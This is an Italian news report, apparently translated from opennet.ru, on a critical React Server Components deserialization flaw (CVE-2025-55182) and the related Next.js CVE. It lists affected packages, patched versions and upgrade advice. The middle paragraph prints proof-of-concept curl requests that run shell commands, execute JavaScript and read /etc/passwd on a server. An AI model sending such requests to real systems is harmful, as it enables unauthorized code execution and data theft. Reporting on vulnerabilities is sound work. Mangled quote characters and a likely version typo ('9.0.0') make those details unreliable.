Nei componenti server del framework web React (RSC, React Server Components) Ăš stata rimossa una vulnerabilitĂ (CVE-2025-55182) che permetteva, attraverso l'invio di una richiesta al gestore server, di eseguire codice arbitrario sul server. La vulnerabilitĂ Ăš stata classificata come critica (10 su 10). Essa si manifesta nei componenti sperimentali react-server-dom-webpack, react-server-dom-parcel e react-server-dom-turbopack, utilizzati per eseguire funzioni e generare elementi dell'interfaccia utente sul server, e non sul lato client.
Il problema Ăš causato dalla deserializzazione non sicura dei dati ricevuti nelle richieste HTTP ai gestori server. I gestori «vm#runInThisContext», «vm#runInNewContext», «child_process#execFileSync» e «child_process#execSync» possono essere utilizzati per eseguire comandi nel sistema o per eseguire codice JavaScript nel contesto del processo attuale (bypassando l'isolamento sandbox). Ă inoltre possibile utilizzare i gestori «fs#readFileSync» e «fs#writeFileSync» per leggere e scrivere file arbitrari su server, secondo i diritti di accesso attuali. Non Ăš richiesta l'autenticazione per l'attacco. Ă disponibile un prototipo di exploit. # Esecuzione del comando whoami curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={«id»:»child_process#execSync»,»bound»:[«whoami»]}â # Esecuzione di codice JavaScript 1+1 curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={«id»:»vm#runInThisContext»,»bound»:[«1+1»]}â # Lettura del file /etc/passwd curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={«id»:»fs#readFileSync»,»bound»:[«/etc/passwd»,»utf8âł]}â
La suscettibilitĂ dei sistemi alle vulnerabilitĂ dipende dall'uso dei componenti server vulnerabili react-server-dom-webpack, react-server-dom-parcel e react-server-dom-turbopack. Le applicazioni che non utilizzano react-server non sono affette dalla vulnerabilitĂ . L'entitĂ della vulnerabilitĂ nelle installazioni di lavoro che utilizzano React non Ăš ancora chiara. Da un lato, React Ăš uno dei framework web piĂč popolari (utilizzato circa nel 6% dei siti web), e i componenti vulnerabili vengono sviluppati principalmente nei repository e sono inclusi nelle versioni. I componenti vulnerabili sono anche supportati nei framework basati su React, come Next.js e react-router. Secondo i dati di Wiz Research, le istanze vulnerabili sono state identificate nel 39% degli ambienti cloud analizzati.
D'altra parte, la generazione di contenuti sul server tramite React Server I componenti non sono una funzione spesso utilizzata (la maggior parte dei siti React renderizza l'interfaccia solo sul lato client), e i componenti vulnerabili sono segnati come sperimentali e non garantiscono un funzionamento corretto. Questi componenti hanno un numero relativamente ridotto di download diretti dal repository NPM: react-server-dom-webpack â 670.000 a settimana, react-server-dom-parcel â 7.000 e react-server-dom-turbopack â 32.000; a titolo di confronto, il pacchetto NPM React ha 45 milioni di download a settimana.
La vulnerabilitĂ Ăš presente nelle versioni di React 9.0.0, 19.1.0, 19.1.1 e 19.2.0, ed Ăš stata risolta negli aggiornamenti di React 19.0.1, 19.1.2 e 19.2.1. I componenti vulnerabili sono utilizzati anche nei pacchetti Next.js (16 milioni di download a settimana), react-router (20 milioni di download a settimana), waku, @parcel/rsc, @vitejs/plugin-rsc e rwsdk.
Nel framework Next.js, la vulnerabilitĂ (CVE-2025-66478) colpisce le applicazioni che utilizzano App Router e le versioni Next.js 15.x e 16.x. Si afferma che la vulnerabilitĂ si manifesta nella configurazione di Next.js per impostazione predefinita (l'applicazione standard creata con lo strumento create-next-app Ăš vulnerabile). Gli utenti sono invitati ad aggiornare a Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 o 16.0.7 il prima possibile.
Fonte: opennet.ru
